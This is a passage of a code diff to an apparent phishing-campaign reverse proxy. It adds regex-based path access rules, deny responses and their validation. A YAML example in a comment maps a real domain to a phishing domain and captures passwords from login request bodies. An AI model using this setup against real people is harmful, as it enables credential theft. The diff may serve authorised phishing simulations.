diff --git a/backend/proxy/proxy.go b/backend/proxy/proxy.go index c831394..0bd7d3a 100644 --- a/backend/proxy/proxy.go +++ b/backend/proxy/proxy.go @@ -14,6 +14,7 @@ import ( "net/url" "regexp" "sort" + "strconv" "strings" "sync" "sync/atomic" @@ -266,6 +267,13 @@ func (m *ProxyHandler) processRequestWithContext(req *http.Request, reqCtx *Requ } } + // check access control before proceeding + hasSession := reqCtx.SessionID != "" + + if allowed, denyAction := m.evaluatePathAccess(req.URL.Path, reqCtx, hasSession); !allowed { + return req, m.createDenyResponse(req, reqCtx, denyAction, hasSession) + } + // handle requests without session if reqCtx.SessionID == "" && !createSession { return m.prepareRequestWithoutSession(req, reqCtx.TargetDomain), nil @@ -1785,11 +1793,7 @@ func (m *ProxyHandler) createCampaignFlowRedirect(session *ProxySession, resp *h } redirectResp := &http.Response{ - Status: "302 Found", StatusCode: 302, - Proto: resp.Proto, - ProtoMajor: resp.ProtoMajor, - ProtoMinor: resp.ProtoMinor, Header: make(http.Header), Body: io.NopCloser(bytes.NewReader([]byte{})), Request: resp.Request, @@ -1975,49 +1979,6 @@ func (m *ProxyHandler) setProxyConfigDefaults(config *service.ProxyServiceConfig } } -func (m *ProxyHandler) ValidateProxyConfig(configStr string) (*service.ProxyServiceConfigYAML, error) { - config, err := m.parseProxyConfig(configStr) - if err != nil { - return nil, fmt.Errorf("failed to parse proxy config: %w", err) - } - - if err := service.ValidateVersion(config); err != nil { - return nil, fmt.Errorf("version validation failed: %w", err) - } - - for originalHost, hostConfig := range config.Hosts { - if hostConfig == nil || hostConfig.To == "" { - return nil, fmt.Errorf("domain mapping for '%s' is empty", originalHost) - } - - for i, capture := range hostConfig.Capture { - if capture.Name == "" { - return nil, fmt.Errorf("capture rule %d for '%s' has no name", i, originalHost) - } - if capture.Find == "" { - return nil, fmt.Errorf("capture rule '%s' for '%s' has no pattern", capture.Name, originalHost) - } - if _, err := regexp.Compile(capture.Find); err != nil { - return nil, fmt.Errorf("capture rule '%s' for '%s' has invalid regex: %w", capture.Name, originalHost, err) - } - } - - for i, replace := range hostConfig.Rewrite { - if replace.Name == "" { - return nil, fmt.Errorf("replace rule %d for '%s' has no name", i, originalHost) - } - if replace.Find == "" { - return nil, fmt.Errorf("replace rule '%s' for '%s' has no find pattern", replace.Name, originalHost) - } - if _, err := regexp.Compile(replace.Find); err != nil { - return nil, fmt.Errorf("replace rule '%s' for '%s' has invalid regex: %w", replace.Name, originalHost, err) - } - } - } - - return config, nil -} - func (m *ProxyHandler) GetCookieName() string { return m.cookieName } @@ -2104,10 +2065,6 @@ func (m *ProxyHandler) configToMap(configMap *sync.Map) map[string]service.Proxy func (m *ProxyHandler) createServiceUnavailableResponse(message string) *http.Response { resp := &http.Response{ StatusCode: http.StatusServiceUnavailable, - Status: "503 Service Unavailable", - Proto: "HTTP/1.1", - ProtoMajor: 1, - ProtoMinor: 1, Header: make(http.Header), Body: io.NopCloser(strings.NewReader(message)), } @@ -2116,10 +2073,19 @@ func (m *ProxyHandler) createServiceUnavailableResponse(message string) *http.Re } func (m *ProxyHandler) writeResponse(w http.ResponseWriter, resp *http.Response) error { + // check for nil response + if resp == nil { + m.logger.Errorw("response is nil in writeResponse") + w.WriteHeader(500) + return errors.New("response is nil") + } + // copy headers - for key, values := range resp.Header { - for _, value := range values { - w.Header().Add(key, value) + if resp.Header != nil { + for k, v := range resp.Header { + for _, val := range v { + w.Header().Add(k, val) + } } } @@ -2127,6 +2093,146 @@ func (m *ProxyHandler) writeResponse(w http.ResponseWriter, resp *http.Response) w.WriteHeader(resp.StatusCode) // copy body - _, err := io.Copy(w, resp.Body) - return err + if resp.Body != nil { + _, err := io.Copy(w, resp.Body) + return err + } + return nil +} + +// evaluatePathAccess checks if a path is allowed based on access control rules +func (m *ProxyHandler) evaluatePathAccess(path string, reqCtx *RequestContext, hasSession bool) (bool, string) { + // check for nil request context + if reqCtx == nil { + m.logger.Errorw("request context is nil in evaluatePathAccess") + return true, "" // default allow to prevent panic + } + + // check domain-specific rules first + if reqCtx.Domain != nil && reqCtx.ProxyConfig != nil && reqCtx.ProxyConfig.Hosts != nil { + + // find the domain config where the "to" field matches our phishing domain + for _, domainConfig := range reqCtx.ProxyConfig.Hosts { + if domainConfig != nil && domainConfig.To == reqCtx.PhishDomain && domainConfig.Access != nil { + allowed, action := m.checkAccessRules(path, domainConfig.Access, hasSession) + // domain rule found - return its decision (allow or deny) + return allowed, action + } + } + + } + + // no domain rule found - check global rules + if reqCtx.ProxyConfig != nil && reqCtx.ProxyConfig.Global != nil && reqCtx.ProxyConfig.Global.Access != nil { + + if allowed, action := m.checkAccessRules(path, reqCtx.ProxyConfig.Global.Access, hasSession); !allowed { + + return false, action + } + } + + // default allow if no rules match + return true, "" +} + +// checkAccessRules evaluates access control rules for a given path +func (m *ProxyHandler) checkAccessRules(path string, accessControl *service.ProxyServiceAccessControl, hasSession bool) (bool, string) { + if accessControl == nil { + return true, "" // no access control = allow everything + } + + matches := m.matchesAnyAccessPath(path, accessControl.Paths) + + var action string + if hasSession { + action = accessControl.OnDeny.WithSession + } else { + action = accessControl.OnDeny.WithoutSession + } + + // default actions if not specified + if action == "" { + action = "404" + } + + switch accessControl.Mode { + case "allow": + if matches { + return true, "" // path matches allow list + } + // path doesn't match allow list - check if we should allow anyway + if action == "allow" { + return true, "" // override deny with allow + } + return false, action // deny with specified action + case "deny": + if !matches { + return true, "" // path doesn't match deny list + } + // path matches deny list - check if we should allow anyway + if action == "allow" { + return true, "" // override deny with allow + } + return false, action // deny with specified action + default: + return true, "" // safe default + } +} + +// matchesAnyAccessPath checks if a path matches any of the provided regex patterns +func (m *ProxyHandler) matchesAnyAccessPath(path string, patterns []string) bool { + for _, pattern := range patterns { + if matched, err := regexp.MatchString(pattern, path); err == nil && matched { + return true + } + } + return false +} + +// createDenyResponse creates an appropriate response for denied access +func (m *ProxyHandler) createDenyResponse(req *http.Request, reqCtx *RequestContext, denyAction string, hasSession bool) *http.Response { + // construct proper full URL for logging + fullURL := fmt.Sprintf("%s://%s%s", req.URL.Scheme, req.Host, req.URL.RequestURI()) + + // log the denial for debugging + m.logger.Debugw("access denied for path", + "path", req.URL.Path, + "full_url", fullURL, + "phish_domain", reqCtx.PhishDomain, + "target_domain", reqCtx.TargetDomain, + "has_session", hasSession, + "deny_action", denyAction, + "user_agent", req.Header.Get("User-Agent"), + ) + + if strings.HasPrefix(denyAction, "redirect:") { + url := strings.TrimPrefix(denyAction, "redirect:") + return m.createRedirectResponse(url) + } + + // parse as status code + if statusCode, err := strconv.Atoi(denyAction); err == nil { + return m.createStatusResponse(statusCode) + } + + return m.createStatusResponse(404) // fallback +} + +// createRedirectResponse creates a redirect response +func (m *ProxyHandler) createRedirectResponse(url string) *http.Response { + return &http.Response{ + StatusCode: 302, + Header: map[string][]string{ + "Location": {url}, + }, + } +} + +// createStatusResponse creates a response with the specified status code +func (m *ProxyHandler) createStatusResponse(statusCode int) *http.Response { + return &http.Response{ + StatusCode: statusCode, + Header: make(map[string][]string), + Body: io.NopCloser(strings.NewReader("")), + } } diff --git a/backend/service/proxy.go b/backend/service/proxy.go index 7d382ae..a3828ed 100644 --- a/backend/service/proxy.go +++ b/backend/service/proxy.go @@ -5,6 +5,7 @@ import ( "fmt" "net/url" "regexp" + "strconv" "strings" "github.com/go-errors/errors" @@ -39,16 +40,31 @@ type ProxyServiceConfig struct { // ProxyServiceDomainConfig represents configuration for a specific domain mapping type ProxyServiceDomainConfig struct { - To string `yaml:"to"` - Capture []ProxyServiceCaptureRule `yaml:"capture,omitempty"` - Rewrite []ProxyServiceReplaceRule `yaml:"rewrite,omitempty"` + To string `yaml:"to"` + Access *ProxyServiceAccessControl `yaml:"access,omitempty"` + Capture []ProxyServiceCaptureRule `yaml:"capture,omitempty"` + Rewrite []ProxyServiceReplaceRule `yaml:"rewrite,omitempty"` } // ProxyServiceRules represents capture and replace rules // ProxyServiceRules represents global rules that apply to all hosts type ProxyServiceRules struct { - Capture []ProxyServiceCaptureRule `yaml:"capture,omitempty"` - Rewrite []ProxyServiceReplaceRule `yaml:"rewrite,omitempty"` + Access *ProxyServiceAccessControl `yaml:"access,omitempty"` + Capture []ProxyServiceCaptureRule `yaml:"capture,omitempty"` + Rewrite []ProxyServiceReplaceRule `yaml:"rewrite,omitempty"` +} + +// ProxyServiceAccessControl represents access control configuration +type ProxyServiceAccessControl struct { + Mode string `yaml:"mode"` // "allow" | "deny" + Paths []string `yaml:"paths"` + OnDeny ProxyServiceDenyResponse `yaml:"on_deny"` +} + +// ProxyServiceDenyResponse represents response configuration when access is denied +type ProxyServiceDenyResponse struct { + WithSession string `yaml:"with_session"` // "allow" | "redirect:URL" | status code + WithoutSession string `yaml:"without_session"` // "allow" | "redirect:URL" | status code } // CompilePathPatterns compiles regex patterns for all capture rules @@ -107,6 +123,43 @@ type ProxyServiceReplaceRule struct { } // ProxyServiceConfigYAML represents the complete YAML configuration structure that matches the actual YAML format +// +// Example YAML configuration with access control: +// +// version: "0.0" +// global: +// +// access: +// mode: "deny" +// paths: +// - "^/admin/" +// - "^/wp-admin/" +// - "^/\\.git/" +// on_deny: +// with_session: 403 +// without_session: 404 +// capture: +// - name: "global_navigation" +// path: "/important" +// +// example.com: +// +// to: "phishing-example.com" +// access: +// mode: "allow" +// paths: +// - "^/login" +// - "^/api/public/" +// - "^/assets/" +// on_deny: +// with_session: "redirect:https://phishing-example.com/" +// without_session: 503 +// capture: +// - name: "login_capture" +// method: "POST" +// path: "/login" +// find: "password=(.*?)&" +// from: "request_body" type ProxyServiceConfigYAML struct { Version string `yaml:"version,omitempty"` Proxy string `yaml:"proxy,omitempty"` @@ -498,6 +551,11 @@ func (m *Proxy) validateProxyConfigForUpdate(ctx context.Context, proxy *model.P ) } + // validate domain-specific access control + if err := m.validateAccessControl(domainConfig.Access); err != nil { + return err + } + // validate domain-specific capture rules if err := m.validateCaptureRules(domainConfig.Capture); err != nil { return err @@ -512,8 +570,11 @@ func (m *Proxy) validateProxyConfigForUpdate(ctx context.Context, proxy *model.P // the syncProxyDomains method will handle domain management properly } - // validate global capture and rewrite rules + // validate global rules if config.Global != nil { + if err := m.validateAccessControl(config.Global.Access); err != nil { + return err + } if err := m.validateCaptureRules(config.Global.Capture); err != nil { return err } @@ -701,6 +762,94 @@ func (m *Proxy) validateReplaceRules(replaceRules []ProxyServiceReplaceRule) err return nil } +// validateAccessControl validates access control configuration +func (m *Proxy) validateAccessControl(accessControl *ProxyServiceAccessControl) error { + if accessControl == nil { + return nil // access control is optional + } + + // validate mode + if accessControl.Mode != "allow" && accessControl.Mode != "deny" { + return validate.WrapErrorWithField( + errors.New("access control mode must be either 'allow' or 'deny'"), + "proxyConfig", + ) + } + + // validate paths are valid regex patterns + for i, path := range accessControl.Paths { + if path == "" { + return validate.WrapErrorWithField( + errors.New(fmt.Sprintf("access control path %d cannot be empty", i)), + "proxyConfig", + ) + } + if _, err := regexp.Compile(path); err != nil { + return validate.WrapErrorWithField( + errors.New(fmt.Sprintf("invalid regex pattern in access control path '%s': %s", path, err.Error())), + "proxyConfig", + ) + } + } + + // validate deny response actions + if err := m.validateDenyAction(accessControl.OnDeny.WithSession, true); err != nil { + return err + } + if err := m.validateDenyAction(accessControl.OnDeny.WithoutSession, false); err != nil { + return err + } + + return nil +} + +// validateDenyAction validates a deny action string +func (m *Proxy) validateDenyAction(action string, withSession bool) error { + if action == "" { + return nil // action is optional, will use default + } + + // check for allow action + if action == "allow" { + return nil + } + + // check for redirect action + if strings.HasPrefix(action, "redirect:") { + url := strings.TrimPrefix(action, "redirect:") + if url == "" { + return validate.WrapErrorWithField( + errors.New("redirect action must include URL: 'redirect:https://example.com'"), + "proxyConfig", + ) + } + // basic URL validation + if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") { + return validate.WrapErrorWithField( + errors.New("redirect URL must start with http:// or https://"), + "proxyConfig", + ) + } + return nil + } + + // check for status code + if statusCode, err := strconv.Atoi(action); err == nil { + if statusCode < 100 || statusCode > 599 { + return validate.WrapErrorWithField( + errors.New("status code must be between 100 and 599"), + "proxyConfig", + ) + } + return nil + } + + return validate.WrapErrorWithField( + errors.New("invalid deny action: must be 'allow', 'redirect:URL', or a status code"), + "proxyConfig", + ) +} + // validateProxyConfig validates Proxy configuration func (m *Proxy) validateProxyConfig(ctx context.Context, proxy *model.Proxy) error { // validate Proxy configuration YAML @@ -830,6 +979,11 @@ func (m *Proxy) validateProxyConfig(ctx context.Context, proxy *model.Proxy) err } } + // validate domain-specific access control + if err := m.validateAccessControl(domainConfig.Access); err != nil { + return err + } + // validate domain-specific capture rules if err := m.validateCaptureRules(domainConfig.Capture); err != nil { return err @@ -846,8 +1000,11 @@ func (m *Proxy) validateProxyConfig(ctx context.Context, proxy *model.Proxy) err } } - // validate global capture and rewrite rules + // validate global rules if config.Global != nil { + if err := m.validateAccessControl(config.Global.Access); err != nil { + return err + } if err := m.validateCaptureRules(config.Global.Capture); err != nil { return err } diff --git a/frontend/src/lib/components/editor/Editor.svelte b/frontend/src/lib/components/editor/Editor.svelte index c58b427..1a66176 100644 --- a/frontend/src/lib/components/editor/Editor.svelte +++ b/frontend/src/lib/components/editor/Editor.svelte @@ -1,8 +1,9 @@